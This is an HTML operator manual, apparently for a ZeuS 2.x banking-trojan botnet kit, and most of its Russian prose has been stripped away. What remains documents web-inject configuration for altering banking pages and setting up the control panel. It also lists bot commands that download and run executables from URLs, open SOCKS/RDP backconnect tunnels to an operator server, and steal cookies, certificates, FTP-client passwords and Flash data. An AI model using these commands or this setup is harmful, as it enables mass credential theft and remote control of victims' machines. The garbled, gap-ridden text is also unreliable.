<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru">
<head>
  <title> </title>
  <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"/>
  <meta http-equiv="Content-Style-Type" content="text/css"/>
  <meta http-equiv="Content-Script-Type" content="text/javascript"/>
  <style type="text/css">
  html, body
  {
    background:  #FFFFFF;
    color:       #000000;
    font-family: Verdana, Helvetica, sans-serif;
    font-size:   12px
  }
  a
  {
    color: #0060B6
  }
  a:hover
  {
    color: #174C7E
  }
  h1, h2
  {
    padding:       2em 0 0.5em 0;
    border-bottom: solid 1px #CCCCCC
  }
  h1
  {
    padding-top: 0
  }
  table.list, table.samples, table.parameters
  {
    border-collapse: collapse
  }
  table.list td, table.samples td, table.parameters td
  {
    padding:    1em;
    background: #EEEEEE;
    border:     1px solid #CCCCCC
  }
  </style>
</head>
<body>

<h1> </h1>
<ul>
  <li><a href="#description_bot"></a>
    <ul>
      <li><a href="#description_bot"></a></li>
      <li><a href="#description_cp"> </a></li>
    </ul>
  </li>
  <li><a href="#config_hi"> </a>
    <ul>
      <li><a href="#config_hi">HTTP-/HTTP-</a></li>
    </ul>
  </li>
  <li><a href="#cp_server"> </a>
    <ul>
      <li><a href="#cp_server"> </a></li>
      <li><a href="#cp_install"></a></li>
      <li><a href="#cp_update"></a></li>
      <li><a href="#cp_fsarc"> /system/fsarc.php</a></li>
      <li><a href="#cp_remotescript_commands">,   </a></li>
    </ul>
  </li>
  <li><a href="#bc">  Backonnect-</a></li>
  <li><a href="#faq">F.A.Q.</a></li>
  <li><a href="#history"> </a></li>
</ul>

<!-- : :  -->
<h2 id="description_bot">: </h2>
<ul>
  <li>
    <p><b>  IDE :</b></p>
    <p>Visual C++ (  9.0).     (crtl, mfc,  ..).</p>
  </li>
  <li>
    <p><b> :</b></p>
    <p>XP/Vista/Seven,   2003/2003R2/2008/2008R2.      Windows x64,    32-x  .         "Terminal Servers".</p>
  </li>
  <li>
    <p><b> :</b></p>
    <p>    WinAPI,    ring3( ),          (  DLL).</p>
  </li>
  <li>
    <p><b> :</b></p>
    <p>  ,         Vista/Seven,   UAC,     .          (  ""),             (-    .).         ,          .       "LocalSystem"       .</p>
    <p> ,        ,         ,        ,    .     (  ),   ,     .</p>
  </li>
  <li>
    <p><b>   ( ):</b></p>
    <p>         " ",     .       ,   ,     ,       .    HTTP-,              .</p>    
  </li>
  <li>
    <p><b>:</b></p>
    <ol>
      <li>    (, ,  )       .</li>
      <li>          .  ,    .</li>
      <li>         WinAPI, ..       ,      .</li>
      <li> ,   .</li>
      <li>   .</li>
    </ol>
  </li>
  <li>
    <p><b>   :</b></p>
    <ol>
      <li> Socks 4/4a/5   UDP  IPv6.</li>
      <li>    (RDP, Socks, FTP,  ..)   . ..     ,    NAT, , ,     .       ,    Windows-  ,     IP.</li>
      <li>      .</li>
    </ol>
  </li>
  <li>
    <p><b> HTTP/HTTPS-  wininet.dll (Internet Explorer, Maxton,  ..), nspr4.dll (Mozilla Firefox):</b></p>
    <ol>
      <li>    (HTTP-).</li>
      <li>   (HTTP-).</li>
      <li>       (   ).</li>
      <li>  HTTP-  HTTP-.</li>
      <li>     URL.</li>
      <li>     URL.</li>
      <li>   GET    URL.</li>
      <li>          .</li>
      <li>         URL.</li>
    </ol>
  </li>
  <li>
    <p><b>     :</b></p>
    <ol>
      <li>  FTP-: FlashFXP, CuteFtp, Total Commander, WsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP, SmartFTP.</li>
      <li>"" Adobe (Macromedia) Flash Player.</li>
      <li>"" wininet.dll, Mozilla Firefox.</li>
      <li>     Windows.      .</li>
      <li>    .</li>
    </ol>
  </li>
  <li>
    <p><b>    TCP  Windows Socket.</b></p>
    <ol>
      <li> FTP-   .</li>
      <li> POP3-   .</li>
    </ol>
  </li>
  <li>
    <p><b>:</b></p>
    <ol>
      <li>  (),    .</li>
      <li>     ( ).</li>
    </ol>
  </li>
 </ul>
<!-- : :  -->

<!-- : :   -->
<h2 id="description_cp">:  </h2>
<ul>
  <li>
    <p><b> :</b></p>
    <p>PHP,    mbstring, mysql.</p>
  </li>
  <li>
    <p><b> :</b></p>
    <ol>
      <li>  .</li>
      <li>    .</li>
      <li>  .</li>
      <li>  .</li>
      <li>  .</li>
      <li>  .</li>
    </ol>
  </li>
  <li>
    <p><b>   :</b></p>
    <ol>
      <li>   , , IP-, NAT-,  ..</li>
      <li>       (    NAT).</li>
      <li>   Socks-.</li>
      <li>    .     :
        <ul>
          <li> Windows,     .</li>
          <li>  IP-  (   ).</li>
          <li>    (      HTTP-).</li>
          <li>      .</li>
          <li>  .</li>
        </ul>
      <li>     .</li>
    </ol>
  </li>
  <li>
    <p><b> ():</b></p>
    <p>        .    ,     .</p>
  </li>
  <li>
    <p><b>   ()   :</b></p>    
    <p> ( ,  Flash Player)         ,       :   , ,    .</p>
    <p>      (%botnet%/%bot_id%/reports.txt),     .         ,    .    ,      ,      .</p>    
  </li>
  <li>
    <p><b>   IM (Jabber):</b></p>
    <p>        Jabber-.</p>
    <p>            HTTP/HTTPS-. ,        -.</p>
  </li>
  <li>
    <p><b>:</b></p>
    <ol>
      <li>       .</li>
      <li>    .</li>
      <li>    MyISAM.</li>
    </ol>
  </li>
</ul>
<!-- : :   -->

<!-- : :  : HTTP-/HTTP- -->
<h2 id="config_hi"> : HTTP-/HTTP-.</h2>
<p>  , HTTP-/HTTP-    ,      "DynamicConfig.file_webinjects". ,     ,      .</p>
<p>     URL',           ,     .  URL   :<p>
<p><b>set_url [url] [options] [postdata_blacklist] [postdata_whitelist] [url_block] [matched_context]</b></p>
<p><b>:</b></p>
<table class="parameters">
  <tr>
    <td>url</td>
    <td>URL,     HTTP-/HTTP-.    ( *  #).</td>
  </tr>
  <tr>
    <td>options</td>
    <td>
            ,     :
      <ul>
        <li><b>P</b> -   <a target="_blank" href="http://ru.wikipedia.org/wiki/HTTP#GET">POST-</a>.</li>
        <li><b>G</b> -   <a target="_blank" href="http://ru.wikipedia.org/wiki/HTTP#POST">GET-</a>.</li>
        <li><b>L</b> -    ,     HTTP-,   ,   HTTP-.
        <li><b>D</b> -       24 . <u>      url_block.</u></li>
        <li><b>F</b> -   "L",        ,      "grabbed\%host%_%year%_%month%_%day%.txt".</li>
        <li><b>H</b> -   "L",     HTML-.    ,  HTML- ,      " "  "".</li>
        <li><b>I</b> -   url    (  . ).</li>
        <li><b>C</b> -      (  . ).</li>
      </ul>    
    </td>
  </tr>
  <tr>
    <td>postdata_blacklist</td>
    <td> (   )  POST-,   <b> </b>  .    ( *  ?).</br></br>  .</td>
  </tr>
  <tr>
    <td>postdata_whitelist</td>
    <td> (   )  POST-,   <b></b>  .    ( *  ?).</br></br>  .</td>
  </tr>
  <tr>
    <td>url_block</td>
    <td>
      <b>   "D"   options:</b>
      <p>      ,     URL,     ,    .   URL     HTTP-/HTTP-.   ,   ,       "<a href="#bot_httpinject_enable">bot_httpinject_enable</a>"  , ,   url.</p>      
      <b>   "D"   options:</b>
      <p>  URL,    ,     24- .   URL     HTTP-/HTTP-. <u>       "bot_httpinject_enable".</u></p>
            "D"   options.
    </td>
  </tr>
  <tr>
    <td>matched_context</td>
    <td> ()  URL,     .    ( *  ?).</br></br>  .</td>
  </tr>
</table>
<p>      ,   URL,     "L"   options -  ,    URL.      ,     ,     URL.</p><p>        :</p>
<table class="parameters">
  <tr>
    <td>data_before</td>
    <td>
      <b>   "L"   options:</b>
      <p>   URL,       .</p>
      <b>   "L"   options:</b>
      <p>   URL,         .</p>
         ( *  ?).
    </td>
  </tr>
  <tr>
    <td>data_after</td>
    <td>
      <b>   "L"   options:</b>
      <p>   URL,     .</p>
      <b>   "L"   options:</b>
      <p>   URL,         .</p>
         ( *  ?).
    </td>
  </tr>
  <tr>
    <td>data_inject</td>
    <td>
      <b>   "L"   options:</b>
      <p> ,        data_before  data_after.</p>
      <b>   "L"   options:</b>
      <p>   URL,         .</p>
    </td>
  </tr>
</table>


<p><b>:</b></p>
<table class="samples">
  <tr>
    <td>user_homepage_set http://www.google.com/</td>
    <td>    "http://www.google.com/".</td>
  </tr>
  <tr>
    <td>user_homepage_set</td>
    <td>     .</td>
  </tr>
</table>

   before  after



<!-- : :  : HTTP-/HTTP- -->

<!-- :  :   -->
<h2 id="cp_server"> :  </h2>
<p>     ,     ,    .     " "  "VDS", ..   ,     ,         .   " " (),   :</p>
<ul>
  <li>2 .</li>
  <li>2x   2.</li>
  <li>    .</li>
</ul>
<p>    HTTP-   PHP + Zend Optimizer,  MySQL-.<br/><b>:</b>  Windows-    ()   : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\MaxUserPort=dword:65534 ().</p>
<ul>
  <li>
    <p><b>HTTP-:</b></p>
    <p>  HTTP-  :  nix- - Apache   2.2,  Windows- - IIS   6.0.   HTTP-  80  443  (     ,  /     ,  ).</p>
    <p> Apache: <a href="http://apache.org/dyn/closer.cgi">http://apache.org/dyn/closer.cgi</a>.<br/> IIS: <a href="http://www.iis.net/">http://www.iis.net/</a>.</p>
  </li>
  <li>
    <p><b> PHP:</b></p>
    <p>      PHP 5.2.6.     ,    .</p>
    <p>     php.ini:</p>
    <ul>
      <li>safe_mode = Off</li>
      <li>magic_quotes_gpc = Off</li>
      <li>magic_quotes_runtime = Off</li>
      <li>memory_limit = 256M  ; .</li>
      <li>post_max_size = 100M ; .</li>
    </ul>
    <p>     :</p>
    <ul>
      <li>display_errors = Off</li>
    </ul>
    <p>   Zend Optimizer (  ,    ).    3.3.</p>
    <p>   PHP  HTTP-  CGI.</p>
    <p> PHP: <a href="http://www.php.net/downloads.php">http://www.php.net/downloads.php</a>.<br/> Zend Optimizer: <a href="http://www.zend.com/en/products/guard/downloads">http://www.zend.com/en/products/guard/downloads</a>.</p>    
  </li>
  <li>
    <p><b>MySQL-:</b></p>
    <p>MySQL       .     5.1.30,    ,             .        MyISAM,        ,     .</p>
    <p>      MySQL- (my  my.ini):</p>
    <ul>
      <li>max_connections=2000 # </li>
    </ul>
    <p> MySQL: <a href="http://dev.mysql.com/downloads/">http://dev.mysql.com/downloads/</a>.</p>
  </li>
</ul>
<!-- :  :   -->

<!-- :  :  -->
<h2 id="cp_install"> : </h2>
<p>   :</p>
<table class="list">
  <tr><td>/install</td><td></td></tr>
  <tr><td>/system</td><td> </td></tr>
  <tr><td>/system/fsarc.php</td><td><a href="#cp_fsarc">    </td></tr>
  <tr><td>/system/config.php</td><td> </td></tr>
  <tr><td>/theme</td><td>  (),  ,   </td></tr>
  <tr><td>cp.php</td><td>   </td></tr>
  <tr><td>gate.php</td><td>  </td></tr>
  <tr><td>index.php</td><td>     </td></tr>
</table>
<p>         server[php].              HTTP.      FTP,        .</p>
<p> nix-  :</p>
<table class="list">
  <tr><td>/.</td><td>777</td></tr>
  <tr><td>/system</td><td>777</td></tr>
  <tr><td>/tmp</td><td>777</td></tr>
</table>
<p> Windows-  :</p>
<table class="list">
  <tr><td>\system</td><td>     ,          HTTP.  IIS   IUSR_*</td></tr>
  <tr><td>\tmp</td><td>    \system</td></tr>
</table>
<p>          ,       URL http:////install/index.php.   ,     (   )   ,    ,      .</p>
<p> ,    install,    cp.php (   )  gate.php (  )       (  ).</p>
<p>       ,    URL   cp.php.</p>
<!-- :  :  -->

<!-- :  :  -->
<h2 id="cp_update"> : </h2>
<p>       ,     ,    :</p>
<ol>
  <li>       .</li>
  <li>  cp.php  gate.php           .</li>
  <li>  ,       <a href="#cp_install"></a> .</li>
  <li>     URL http:////install/index.php,    .         ,    ,       .</li>
  <li>    .</li>
</ol>
<!-- :  :  -->

<!-- :  :  /system/fsarc.php. -->
<h2 id="cp_fsarc"> :  /system/fsarc.php.</h2>
<p>         .         "::  " (reports_files),           .       Zip,     Windows  nix,      ,      ,      .           .</p>
<p> Zip: <a href="http://www.info-zip.org/Zip.html">http://www.info-zip.org/Zip.html</a>.</p>
<!-- :  :  /system/fsarc.php. -->

<!-- :  : ,    -->
<h2 id="cp_remotescript_commands"> : ,   </h2>
<ul>
  <li><p><b>os_shutdown</b></p>
    <p> .        ,     .</p>
  </li>

  <li><p><b>os_reboot</b></p>
    <p> .        ,     .</p>
  </li>

  <li><p><b>bot_uninstall</b></p>
    <p>     .        ,     .</p>
  </li>

  <li><p><b>bot_update</b> [url]</p>
    <p>   .</p>
    <p><b>:</b></p>
    <table class="parameters">
      <tr>
        <td>url</td>
        <td>
          URL,      .     ,         (  "-f"),   "DynamicConfig.url_loader".<br/><br/>
           ,       ,         (..  -    "StaticConfig.timer_config"),    .
        </td>
      </tr>
    </table>
    <p><b>:</b></p>
    <table class="samples">
      <tr>
        <td>bot_update http://domain/update.bin</td>
        <td>   "http://domain/update.bin".</td>
      </tr>
    </table>
  </li>

  <li id="bot_bc_add"><p><b>bot_bc_add</b> [service] [backconnect_server] [backconnect_server_port]</p>
    <p>  (      ) -. <i>       .</i></p>
    <p><b>:</b></p>
    <table class="parameters">
      <tr>
        <td>service</td>
        <td>     ,    .</td>
      </tr>
      <tr>
        <td>backconnect_server</td>
        <td>,    -.</td>
      </tr>
      <tr>
        <td>backconnect_server_port</td>
        <td>    [backconnect_server].</td>
      </tr>
    </table>
    <p><b>:</b></p>
    <table class="samples">
      <tr>
        <td>bot_bc_add socks 192.168.100.1 4500</td>
        <td>    Socks-.</td>
      </tr>
      <tr>
        <td>bot_bc_add 3389  192.168.100.1 4500</td>
        <td>    RDP.</td>
      </tr>
    </table>
  </li>

  <li id="bot_bc_remove"><p><b>bot_bc_remove</b> [service] [backconnect_server] [backconnect_server_port]</p>
    <p>  -. <i>       .</i></p>
    <p><b>:</b></p>
    <table class="parameters">
      <tr>
        <td>service</td>
        <td>     ,    .    ( *  ?),    .</td>
      </tr>
      <tr>
        <td>backconnect_server</td>
        <td>,    -.    ( *  ?),    .</td>
      </tr>
      <tr>
        <td>backconnect_server_port</td>
        <td>    [backconnect_server].    ( *  ?),    .</td>
      </tr>
    </table>
    <p><b>:</b></p>
    <table class="samples">
      <tr>
        <td>bot_bc_remove socks * *</td>
        <td>      socks.</td>
      </tr>
      <tr>
        <td>bot_bc_remove * * *</td>
        <td>   .</td>
      </tr>
    </table>
  </li>
  <li><p><b>bot_httpinject_disable</b> [url_1] [url_2] ... [url_X]</p>
    <p>  HTTP-   URL   . <u>       ,   .</u></p>
    <p><b>:</b></p>
    <table class="parameters">
      <tr>
        <td>url_1, ulr_2, ...</td>
        <td>URL',      HTTP-.    ( *  #).</td>
      </tr>
    </table>
    <p><b>:</b></p>
    <table class="samples">
      <tr>
        <td>bot_httpinject_disable http://www.google.com/*</td>
        <td>  HTTP-  http://www.google.com/.</td>
      </tr>
      <tr>
        <td>bot_httpinject_disable *</td>
        <td>  HTTP-   URL.</td>
      </tr>
      <tr>
        <td>bot_httpinject_disable *.html *.gif</td>
        <td>  HTTP-     html  gif.</td>
      </tr>
    </table>
  </li>

  <li id="bot_httpinject_enable"><p><b>bot_httpinject_enable</b> [url_1] [url_2] ... [url_X]</p>
    <p>   HTTP-   URL   .</p>
    <p><b>:</b></p>
    <table class="parameters">
      <tr>
        <td>url_1, ulr_2, ...</td>
        <td> ( *  #),      URL   URL.</td>
      </tr>
    </table>
    <p><b>:</b></p>
    <table class="samples">
      <tr>
        <td>bot_httpinject_enable *.google.*</td>
        <td>   HTTP-   URL   ,     ".google.".</td>
      </tr>
      <tr>
        <td>bot_httpinject_enable *</td>
        <td>     HTTP-.</td>
      </tr>
      <tr>
        <td>bot_httpinject_enable *.html https://*</td>
        <td>   HTTP-   html-,    HTTPS-.</td>
      </tr>
    </table>
  </li>
<!--
  <li><p><b>fs_path_get</b></p>
  </li>

  <li><p><b>fs_search_add</b></p>
  </li>

  <li><p><b>fs_search_remove</b></p>
  </li>

  <li><p><b>user_destroy</b></p>
  </li>
-->
  <li><p><b>user_logoff</b></p>
    <p>  (logoff)  .        ,     .</p>
  </li>

  <li><p><b>user_execute</b> [path] [parameters]</p>
    <p>     .     ShellExecuteW(,NULL,,,,),    ,     CreateProcessW.</p>
    <p><b>:</b></p>
    <table class="parameters">
      <tr>
        <td>path</td>
        <td>
             URL.       (exe),     (doc, txt, bmp,  ..).    <u> </u>  ( exe),      - .<br/><br/>
              ,     .   " ".<br/><br/>
             URL,     URL   "%TEMP%\random_name\file_name",  random_name -   ,  file_name -      URL-( URL-   ,   ).       HTTP  HTTPS ,    URL-  URL- (    ,   RFC 1630  1738).
        </td>
      </tr>
      <tr>
        <td>parameters</td>
        <td>    (  ).   .</td>
      </tr>
    </table>
    <p><b>:</b></p>
    <table class="samples">
      <tr>
        <td>user_execute http://www.google.com/dave/superdocumet.doc</td>
        <td>   "%TEMP%\random_name\superdocumet.doc",   ,   MS Word.</td>
      </tr>
      <tr>
        <td>user_execute http://www.google.com/dave/killer.exe /KILLALL /RESTART</td>
        <td>   "%TEMP%\random_name\killer.exe",      "/KILALL /RESTART".</td>
      </tr>
      <tr>
        <td>user_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe"</td>
        <td> -.</td>
      </tr>
      <tr>
        <td>user_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe" "analporno.wmv"</td>
        <td> -   "analporno.wmv".</td>
      </tr>
    </table>
  </li>

  <li><p><b>user_cookies_get</b></p>
    <p>    .</p>
  </li>

  <li><p><b>user_cookies_remove</b></p>
    <p>      .</p>
  </li>

  <li><p><b>user_certs_get</b></p>
    <p>       "MY"  .        pfx-   "pass".</p>
  </li>

  <li><p><b>user_certs_remove</b></p>
    <p>   "MY"  .</p>
  </li>

  <li><p><b>user_url_block</b> [url_1] [url_2] ... [url_X]</p>
    <p>   URL    ()   . <u>       ,   .</u><br/><br/>
         URL,     :</p>
    <ul>
      <li>wininet.dll - ERROR_HTTP_INVALID_SERVER_RESPONSE</li>
      <li>nspr4.dll - PR_CONNECT_REFUSED_ERROR</li>
    </ul>
    <p><b>:</b></p>
    <table class="parameters">
      <tr>
        <td>url_1, ulr_2, ...</td>
        <td>URL',     .    ( *  #).</td>
      </tr>
    </table>
    <p><b>:</b></p>
    <table class="samples">
      <tr>
        <td>user_url_block http://www.google.com/*</td>
        <td>    URL  http://www.google.com/.</td>
      </tr>
      <tr>
        <td>user_url_block *</td>
        <td>     .</td>
      </tr>
      <tr>
        <td>user_url_block http://*.ru/*.html https://*.ru/*</td>
        <td>    html-   ru,     HTTPS-   ru.</td>
      </tr>
    </table>
  </li>

  <li><p><b>user_url_unblock</b> [url_1] [url_2] ... [url_X]</p>
    <p>    URL    ()   .</p>
    <p><b>:</b></p>
    <table class="parameters">
      <tr>
        <td>url_1, ulr_2, ...</td>
        <td> ( *  #),      URL   URL.</td>
      </tr>
    </table>
    <p><b>:</b></p>
    <table class="samples">
      <tr>
        <td>user_url_unblock *.google.*</td>
        <td>    URL   ,     ".google.".</td>
      </tr>
      <tr>
        <td>user_url_unblock *</td>
        <td>    URL.</td>
      </tr>
      <tr>
        <td>user_url_unblock *.html https://*</td>
        <td>    html-,     HTTPS-.</td>
      </tr>
    </table>
  </li>
  
  <li><p><b>user_homepage_set</b> [url]</p>
    <p>         .      ,      ,   .</p>
    <p><b>:</b></p>
    <table class="parameters">
      <tr>
        <td>url</td>
        <td>
          URL,       .<br/><br/>
           ,       ,       ,   ,     ,  . ..         .
        </td>
      </tr>
    </table>
    <p><b>:</b></p>
    <table class="samples">
      <tr>
        <td>user_homepage_set http://www.google.com/</td>
        <td>    "http://www.google.com/".</td>
      </tr>
      <tr>
        <td>user_homepage_set</td>
        <td>     .</td>
      </tr>
    </table>
  </li>
  
  <li><p><b>user_ftpclients_get</b></p>
    <p>   FTP-    FTP-. <i>       .</i></p>
  </li>
  
  <li><p><b>user_flashplayer_get</b></p>
    <p>  "flashplayer.cab"   (*.sol) Adobe Flash Player (%APPDATA%\Macromedia\Flash Player)  ,     .</p>
  </li>
  
  <li><p><b>user_flashplayer_remove</b></p>
    <p>   (*.sol) Adobe Flash Player (%APPDATA%\Macromedia\Flash Player)  .</p>
  </li>
</ul>
<!-- :  : ,    -->

<!-- :   Backonnect- -->
<h2 id="bc">  Backonnect-</h2>
<p>  BackConnect    .</p>
<ul>
  <li>IP- Backconnect-: 192.168.100.1.</li>
  <li>  : 4500.</li>
  <li>   : 1080.</li>
  <li> : socks.</li>  
</ul>
<ol>
  <li><p>  (zsbcs.exe  zsbcs64.exe)     IP-  ,    ,      ,        .  zsbcs.exe listen -cp:1080 -bp:4500,  1080 -  , 4500 -   .</p></li>
  <li><p>    "<a href="#bot_bc_add">bot_bc_add</a> socks 192.168.100.1 4500".</p></li>
  <li><p>      ,           (   ).   ,       "Accepted new conection from bot...".</p></li>
  <li><p>  ,       . ..         (   1080). ,     socks,        Socks-.</p></li>
  <li><p> ,     Backconnect     ,    "<a href="#bot_bc_remove">bot_bc_remove</a> socks 192.168.100.1 4500".</p></li>
</ol>
<p><b>:</b></p>
<ol>
  <li>     Backconnect' (.. bot_bc_add),         IP + Port.      ,    .</li>
  <li>  Backconnect',      .</li>
  <li>    ( ,    ..),        (   PC),     Backconnect    (.. bot_bc_remove).</li>
  <li>  service  bot_bc_add,         127.0.0.1.</li>
  <li>   IPv6,         .</li>
  <li>     wine.   elf      .</li>
  <li>     bp     (80, 8080, 443  ..), ..         .</li>
  <li>            .</li>
  <li>       ,    NAT, ..   Windows  ,      .</li>
</ol>
<!-- :   Backonnect- -->

<!-- : F.A.Q. -->
<h2 id="faq">F.A.Q.</h2>
<ul>
  <li>
    <p><b>    ?</b></p>
    <p>  <b>a</b>.<b>b</b>.<b>c</b>.<b>d</b>, :</p>
    <ul>
      <li><b>a</b> -     .</li>
      <li><b>b</b> -  ,         .</li>
      <li><b>c</b> -  , ,  .</li>
      <li><b>d</b> -        a.b.c.</li>
    </ul>
  </li>
  <li>
    <p><b>   Bot ID?</b></p>
    <p>Bot ID    : %name%_%number%,  name -   (  GetComputerNameW),  number -  ,       .</p>
  </li>
  <li>
    <p><b>      (RC4),    (RSA)?</b></p>
    <p> ,      ,      .   RSA   ,        ,      .      ?</p>
  </li>
</ul>
<!-- : F.A.Q. -->

<!-- :   -->
<h2 id="history"> </h2>
<ul>
  <li><p><b> 2.0.0.0, 01.04.2010</b></p><ol>
    <li>    .</li>
    <li>     Windows Vista+,             ..,      .       Windows  (     UAC,   - LocalSystem).</li>
    <li>  ,    ..</li>
    <li>   ,           .</li>
    <li> ,    ,      exe-   .</li>
    <li>   ,  /    exe-.</li>
    <li>   x32   Windows x64.</li>
    <li>   ,       .</li>
    <li>     "Terminal Services".</li>
    <li>     LocalSystem,      .</li>
    <li>  "StaticConfig.blacklist_languages".</li>
    <li>   20 ,      .</li>
    <li>    UTF-8-.</li>
    <li>  "StaticConfig.url_compip".</li>
    <li>   NAT.</li>
    <li>      .</li>
    <li>  ,    ,   .</li>
    <li>  , -  ,       .</li>
    <li>  "Protected Storage",    IE7,    .</li>
    <li>       "",     ""    .</li>
    <li>    IE.</li>
    <li>  -.</li>
    <li> "-"       HTTP-  HTTP-,        .</li>
    <li>   .</li>
    <li> (  wininet.dll)   nspr4.dll,    HTTP-.</li>
  </ol></li>

  <li><p><b> 2.0.1.0, 28.04.2010</b></p>   ,         :<ol>
    <li>    /.</li>
    <li>       .</li>
    <li>   HTTP-.</li>
  </ol></li>

  <li><p><b> 2.0.2.0, 10.05.2010</b></p><ol>
    <li>    Mozilla Firefox    HTTP-.</li>
    <li> "user_homepage_set"      IE  Firefox (.    ,    )   ,     .</li>
  </ol></li>

  <li><p><b> 2.0.3.0, 19.05.2010</b></p><ol>
    <li>   ,  HTTP-        HTTP, HTML  ..,   "*NO MATCHES FOUND FOR CURRENT MASK*". .. -   "*"   URL,     .</li>
  </ol></li>

  <li><p><b> 2.0.4.0, 31.05.2010</b></p><ol>
    <li>       "Botnet->Bots",      IP.</li>
    <li>     "StaticConfig.remove_certs",            .</li>
    <li>     "StaticConfig.disable_tcpserver",    TCP- (: -,    ).         "Window Firewall".</li>
    <li>       ,    .</li>
  </ol></li>

  <li><p><b> 2.0.5.0, 08.06.2010</b></p><ol>
    <li>    "bot_httpinject_enable"  "bot_httpinject_disable".</li>
    <li>    HTTP-.</li>
  </ol></li>

  <li><p><b> 2.0.6.0, 22.06.2010</b></p><ol>
    <li> nspr4.dll,    HTTP-  ,      ( , ,   HTTP-).</li>
  </ol></li>

  <li><p><b> 2.0.7.0, 15.07.2010</b></p><ol>
    <li>   .</li>
  </ol></li>

  <li><p><b> 2.0.8.0, 17.08.2010</b></p><ol>
    <li>  HTTP-    "I" ( URL   )  "C" (    ).</li>
  </ol></li>
</ul>
<!-- :   -->

</body>
</html>